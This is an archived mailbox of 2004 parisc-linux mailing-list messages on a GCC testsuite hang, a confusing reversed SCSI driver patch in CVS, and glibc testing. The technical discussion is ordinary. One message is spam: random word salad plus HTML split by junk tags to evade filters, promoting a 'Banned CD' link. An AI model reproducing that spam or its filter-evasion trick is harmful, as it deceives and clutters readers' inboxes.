Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 2F6E8CD294; Sun, 11 Jan 2004 02:08:53 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <16385.5227.153358.397944@gargle.gargle.HOWL>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Jan 2004 09:20:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20605

In reference to a message from Matthias Klose, dated Jan 11:
> I think I did see this first with gcc-3.3 from 20031229. Running the
> 3.3 testsuite (gcc) doesn't terminate. Instead, I see expect eating
> all CPU time, together with syslogd and klogd. /var get's filled with
> log messages in kern.log, syslog and debug.
> 
> The machine is a A500, kernel from the archives (kernel-image-2.4.21-64-smp_pa7.3)

jda sees this problem too, but we haven't been able to isolate it. if
you can find out which test case causes this we might be able to figure
it out.

also it appears that when running a UP kernel this doesn't happen.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] running gcc testsuite triggers ongoing page faults
Date: Sun, 11 Jan 2004 12:39:35 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <16385.13815.94626.165424__44457.3902096183$1416623121$gmane$org@gargle.gargle.HOWL>
References: <16385.5227.153358.397944@gargle.gargle.HOWL>
	<20040111100853.GF533@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623121 4451 80.91.229.3 (22 Nov 2014 02:25:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: doko@cs.tu-berlin.de  Sun Jan 11 04:42:19 2004
Return-Path: <doko@cs.tu-berlin.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09F7A4843
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jan 2004 04:42:19 -0700 (MST)
Original-Received: from bolero.cs.tu-berlin.de (doko@bolero.cs.tu-berlin.de
	[130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id MAA08406;
	Sun, 11 Jan 2004 12:39:35 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id i0BBdZ9N014415;
	Sun, 11 Jan 2004 12:39:35 +0100 (MET)
In-Reply-To: <20040111100853.GF533@tausq.org>
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Jan 2004 11:42:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20606

Randolph Chung writes:
> In reference to a message from Matthias Klose, dated Jan 11:
> > I think I did see this first with gcc-3.3 from 20031229. Running the
> > 3.3 testsuite (gcc) doesn't terminate. Instead, I see expect eating
> > all CPU time, together with syslogd and klogd. /var get's filled with
> > log messages in kern.log, syslog and debug.
> > 
> > The machine is a A500, kernel from the archives (kernel-image-2.4.21-64-smp_pa7.3)
> 
> jda sees this problem too, but we haven't been able to isolate it. if
> you can find out which test case causes this we might be able to figure
> it out.

well, the last testcase logged in build/gcc/testsuite/gcc.log is 

	gcc.c-torture/execute/931004-12.c compilation,  -O1

the next one would be

	gcc.c-torture/execute/931004-12.c compilation,  -O2

> also it appears that when running a UP kernel this doesn't happen.
> 
> randolph
> -- 
> Randolph Chung
> Debian GNU/Linux Developer, hppa/ia64 ports
> http://www.tausq.org/


From - Thu Nov 08 21:30:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs confuse me: please help!
Date: Sun, 11 Jan 2004 13:19:02 +0000
Lines: 72
Approved: news@gmane.org
Message-ID: <40014D46.8030205@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623121 4453 80.91.229.3 (22 Nov 2014 02:25:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Sun Jan 11 06:17:26 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F6DE4843
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jan 2004 06:17:26 -0700 (MST)
Original-Received: from [62.235.121.248] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AffT2-00019C-T9; Sun, 11 Jan 2004 14:17:25 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Jan 2004 13:17:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20607

Hi all,

As usual I do a 'cvs -z3 update linux-2.6'.

Head of linux-2.6/Makefile:
VERSION = 2
PATCHLEVEL = 6
SUBLEVEL = 1
EXTRAVERSION =-rc2-pa0

# *DOCUMENTATION*
# To see a list of typical targets execute "make help"
# More info can be located in ./README
# Comments in this file are targeted only to the developer, do not
# expect to learn how to build the kernel reading this file.

To build my own merge with 2.6.1 I grab linux-2.6.1-rc22.tar.bz2 from ftp.kernel.org and do a diff between src to obtain a patch 
file. Just scaning this patch file I read this:
[snip]
diff -NaurX dontdiff linux-2.6.1-rc2/drivers/scsi/sym53c8xx_2/sym_misc.c linux-2.6.1-rc2-pa0/drivers/scsi/sym53c8xx_2/sym_misc.c
--- linux-2.6.1-rc2/drivers/scsi/sym53c8xx_2/sym_misc.c 2004-01-06 06:10:10.000000000 +0100
+++ linux-2.6.1-rc2-pa0/drivers/scsi/sym53c8xx_2/sym_misc.c     2003-12-14 21:57:09.000000000 +0100
@@ -315,7 +315,7 @@
          */
         inq_byte56 = tp->inq_byte56;
         if (inq_version >= 4 && inq_len > 56)
-               tp->inq_byte56 = inq_data[56];
+               inq_byte56 = inq_data[56];
  #if 0
  printf("XXXXXX [%d] inq_version=%x inq_byte7=%x inq_byte56=%x XXXXX\n",
         inq_len, inq_version, inq_byte7, inq_byte56);
[snip]

To be sure it's relevant, I check with viewcvs and read the Matthew's patch:
===================================================================
RCS file: /var/lib/cvs/linux-2.6/drivers/scsi/sym53c8xx_2/sym_misc.c,v
retrieving revision 1.3
retrieving revision 1.3.4.1
diff -u -r1.3 -r1.3.4.1
--- linux-2.6/drivers/scsi/sym53c8xx_2/sym_misc.c	2003/12/14 15:26:41	1.3
+++ linux-2.6/drivers/scsi/sym53c8xx_2/sym_misc.c	2004/01/07 21:09:15	1.3.4.1
@@ -315,7 +315,7 @@
  	 */
  	inq_byte56 = tp->inq_byte56;
  	if (inq_version >= 4 && inq_len > 56)
-		inq_byte56 = inq_data[56];
+		tp->inq_byte56 = inq_data[56];
  #if 0
  printf("XXXXXX [%d] inq_version=%x inq_byte7=%x inq_byte56=%x XXXXX\n",
  	inq_len, inq_version, inq_byte7, inq_byte56);
=========><=========

I so remove my tree linux-2.6 and redo cvs co linux-2.6 but when I check 'sym_misc.c', I always got:
[snip]
     313         /*
     314          *  Get CLOCKING capability.
     315          */
     316         inq_byte56 = tp->inq_byte56;
     317         if (inq_version >= 4 && inq_len > 56)
     318                 inq_byte56 = inq_data[56];
     319 #if 0
     320 printf("XXXXXX [%d] inq_version=%x inq_byte7=%x inq_byte56=%x XXXXX\n",
     321         inq_len, inq_version, inq_byte7, inq_byte56);
     322 #endif
[snip]

What do I wrong?

Thanks in advance for help and advise,
	Joel



From - Thu Nov 08 21:30:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] running gcc testsuite triggers ongoing page faults
Date: Sun, 11 Jan 2004 06:25:54 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <20040111142547.GG533__13230.704496573$1416623121$gmane$org@tausq.org>
References: <16385.5227.153358.397944@gargle.gargle.HOWL>
	<20040111100853.GF533@tausq.org>
	<16385.13815.94626.165424@gargle.gargle.HOWL>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623121 4454 80.91.229.3 (22 Nov 2014 02:25:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: randolph@tausq.org  Sun Jan 11 06:36:04 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1CC14843
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jan 2004 06:36:03 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 56F32CD294; Sun, 11 Jan 2004 06:25:54 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <16385.13815.94626.165424@gargle.gargle.HOWL>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Jan 2004 13:36:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20608

> well, the last testcase logged in build/gcc/testsuite/gcc.log is 
> 
> 	gcc.c-torture/execute/931004-12.c compilation,  -O1
> 
> the next one would be
> 
> 	gcc.c-torture/execute/931004-12.c compilation,  -O2

does it always die at the same test case?

randolph


From - Thu Nov 08 21:30:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Maritza" <szbakhetk@el-nacional.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: RHS, them one that
Date: Sun, 11 Jan 2004 11:05:05 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <SIDQCKM-0004543089883@consummate>
Reply-To: Curry <szbakhetk@el-nacional.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--ALT--RYXI17215336238110"
X-Trace: ger.gmane.org 1416623122 4460 80.91.229.3 (22 Nov 2014 02:25:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:22 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: szbakhetk@el-nacional.com  Sun Jan 11 08:08:50 2004
Return-Path: <szbakhetk@el-nacional.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB2C14843
	for <parisc-linux@parisc-linux.org>;
	Sun, 11 Jan 2004 08:08:50 -0700 (MST)
Original-Received: from modemcable085.223-200-24.mc.videotron.ca
	(modemcable085.223-200-24.mc.videotron.ca [24.200.223.85])
	by cuprel1.hp.com (Postfix) with SMTP id 77F577C3
	for <parisc-linux@parisc-linux.org>;
	Sun, 11 Jan 2004 07:08:48 -0800 (PST)
Original-Received: from [24.200.223.85] by 560000x.comIP with HTTP;
	Sun, 11 Jan 2004 16:08:05 +0100
X-Mailer: mPOP Web-Mail 2.19
X-Originating-IP: [560000x.comIP]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Jan 2004 15:08:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20609

----ALT--RYXI17215336238110
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

starchy loggerhead opposition consolidate pocketful lab sony 
polaroid pinkie switzerland moist coltsfoot sought ablution dried worktable bequeath 
bangor affable garb wordsworth foundling plastic modular burma drafty 

----ALT--RYXI17215336238110
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit

<HTML><HEAD>
<BODY>
<p>Ban</diorite>ned C</smudgy>D! Gov</camden>ernment d</bondsman>on't wan</lay>t m</arcana>e t</hangout>o s</nostril>ell i</brenner>t. Se</ringlet>e N</christina>ow &</p>
<a href="http://www.e-hostzz.com/cd/">
<img border="0" src="http://www.e-hostzz.com/cd/ads1.jpg"></a>
convergent goldstine inceptor quadrangle bowdoin blob drawback pail beady gingham mallard draftee aviv climatology sovkhoz gasify clockwatcher de dignify continuous inventive bruckner saxon bayed burglarproof puckish delight crete chalcedony expense anneal categoric complicity dashboard bond transmitted wharves mcclain <BR>
complementary salubrious equestrian eisner stork ak doctrinal balsa cough eleventh ackley infantryman side arcana antimony shampoo you'll carlton cometh synthesis eider minoan baudelaire wronskian alimony <BR>
barium fraudulent capitulate transmission toccata sweepstake meager suffice cosmos whoever ceremony spilt homeomorph chasm lustful dump drama gangling reside magog laramie prolate tantalus <BR>
effort castro cheeky steed wastewater breakdown plum pecuniary potash spectroscopic turbojet tyrannosaurus carnation bassett <BR>
adventurous nature criss coliform teletype crossbow kulak cinnabar antarctic uniform procedure achromatic corpsman alabama spoken max clinch characteristic bruce beer <BR>
germinate greenland occupant muck arsenal fields musculature morrill barrymore shoehorn apposition <BR>
</BODY>
</HTML>

----ALT--RYXI17215336238110--


From - Thu Nov 08 21:30:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs confuse me: please help!
Date: Sun, 11 Jan 2004 18:50:30 +0000
Lines: 93
Approved: news@gmane.org
Message-ID: <40019AF6.3010006@tiscali.be>
References: <40014D46.8030205@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623122 4463 80.91.229.3 (22 Nov 2014 02:25:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: soete.joel@tiscali.be  Sun Jan 11 11:48:54 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 003434840
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jan 2004 11:48:53 -0700 (MST)
Original-Received: from [62.235.121.248] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Afkdo-0006lF-S0; Sun, 11 Jan 2004 19:48:52 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <40014D46.8030205@tiscali.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Jan 2004 18:48:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20610

James,

Thanks for your merge,
	Joel

Joel Soete wrote:
> Hi all,
> 
> As usual I do a 'cvs -z3 update linux-2.6'.
> 
> Head of linux-2.6/Makefile:
> VERSION = 2
> PATCHLEVEL = 6
> SUBLEVEL = 1
> EXTRAVERSION =-rc2-pa0
> 
> # *DOCUMENTATION*
> # To see a list of typical targets execute "make help"
> # More info can be located in ./README
> # Comments in this file are targeted only to the developer, do not
> # expect to learn how to build the kernel reading this file.
> 
> To build my own merge with 2.6.1 I grab linux-2.6.1-rc22.tar.bz2 from 
> ftp.kernel.org and do a diff between src to obtain a patch file. Just 
> scaning this patch file I read this:
> [snip]
> diff -NaurX dontdiff linux-2.6.1-rc2/drivers/scsi/sym53c8xx_2/sym_misc.c 
> linux-2.6.1-rc2-pa0/drivers/scsi/sym53c8xx_2/sym_misc.c
> --- linux-2.6.1-rc2/drivers/scsi/sym53c8xx_2/sym_misc.c 2004-01-06 
> 06:10:10.000000000 +0100
> +++ linux-2.6.1-rc2-pa0/drivers/scsi/sym53c8xx_2/sym_misc.c     
> 2003-12-14 21:57:09.000000000 +0100
> @@ -315,7 +315,7 @@
>          */
>         inq_byte56 = tp->inq_byte56;
>         if (inq_version >= 4 && inq_len > 56)
> -               tp->inq_byte56 = inq_data[56];
> +               inq_byte56 = inq_data[56];
>  #if 0
>  printf("XXXXXX [%d] inq_version=%x inq_byte7=%x inq_byte56=%x XXXXX\n",
>         inq_len, inq_version, inq_byte7, inq_byte56);
> [snip]
> 
> To be sure it's relevant, I check with viewcvs and read the Matthew's 
> patch:
> ===================================================================
> RCS file: /var/lib/cvs/linux-2.6/drivers/scsi/sym53c8xx_2/sym_misc.c,v
> retrieving revision 1.3
> retrieving revision 1.3.4.1
> diff -u -r1.3 -r1.3.4.1
> --- linux-2.6/drivers/scsi/sym53c8xx_2/sym_misc.c    2003/12/14 
> 15:26:41    1.3
> +++ linux-2.6/drivers/scsi/sym53c8xx_2/sym_misc.c    2004/01/07 
> 21:09:15    1.3.4.1
> @@ -315,7 +315,7 @@
>       */
>      inq_byte56 = tp->inq_byte56;
>      if (inq_version >= 4 && inq_len > 56)
> -        inq_byte56 = inq_data[56];
> +        tp->inq_byte56 = inq_data[56];
>  #if 0
>  printf("XXXXXX [%d] inq_version=%x inq_byte7=%x inq_byte56=%x XXXXX\n",
>      inq_len, inq_version, inq_byte7, inq_byte56);
> =========><=========
> 
> I so remove my tree linux-2.6 and redo cvs co linux-2.6 but when I check 
> 'sym_misc.c', I always got:
> [snip]
>     313         /*
>     314          *  Get CLOCKING capability.
>     315          */
>     316         inq_byte56 = tp->inq_byte56;
>     317         if (inq_version >= 4 && inq_len > 56)
>     318                 inq_byte56 = inq_data[56];
>     319 #if 0
>     320 printf("XXXXXX [%d] inq_version=%x inq_byte7=%x inq_byte56=%x 
> XXXXX\n",
>     321         inq_len, inq_version, inq_byte7, inq_byte56);
>     322 #endif
> [snip]
> 
> What do I wrong?
> 
> Thanks in advance for help and advise,
>     Joel
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:30:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] running gcc testsuite triggers ongoing page faults
Date: Sun, 11 Jan 2004 15:49:44 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200401112049.i0BKnihs000770__30758.5858776749$1416623122$gmane$org@hiauly1.hia.nrc.ca>
References: <16385.5227.153358.397944@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623122 4468 80.91.229.3 (22 Nov 2014 02:25:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Jan 11 13:49:52 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5D224840
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jan 2004 13:49:51 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i0BKniIc000771; Sun, 11 Jan 2004 15:49:44 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i0BKnihs000770;
	Sun, 11 Jan 2004 15:49:44 -0500 (EST)
In-Reply-To: <16385.5227.153358.397944@gargle.gargle.HOWL> from "Matthias
	Klose" at Jan 11, 2004 10:16:27 am
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Jan 2004 20:49:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20611

> I think I did see this first with gcc-3.3 from 20031229. Running the
> 3.3 testsuite (gcc) doesn't terminate. Instead, I see expect eating
> all CPU time, together with syslogd and klogd. /var get's filled with
> log messages in kern.log, syslog and debug.
> 
> The machine is a A500, kernel from the archives (kernel-image-2.4.21-64-smp_pa7.3)

I've had similar problems on gsyprf11, but recent kernels seem to be
better.  I believe that this is more likely on SMP kernels and we have
never had a stable one on gsyprf11.  You can kill expect and GCC will
move on to the next suite.  I haven't seen this on the C3750.

This definitely isn't a GCC problem.  The problem never occurs under
hpux.  It's probably some kind of timing or locking issue that just
happens to get tweaked by a particular test.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Sun, 11 Jan 2004 15:43:55 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20040111204355.GL28742__46836.9845919826$1416623123$gmane$org@systemhalted>
References: <20040105194809.GA9269@systemhalted>
	<20040105194839.GB9269@systemhalted>
	<20040111040906.GA32382@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623123 4471 80.91.229.3 (22 Nov 2014 02:25:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: carlos@baldric.uwo.ca  Sun Jan 11 13:52:28 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B9A34840
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jan 2004 13:52:28 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AfmR9-0001ug-00; Sun, 11 Jan 2004 15:43:55 -0500
Content-Disposition: inline
In-Reply-To: <20040111040906.GA32382@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (12% Sync Ratio [=.........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
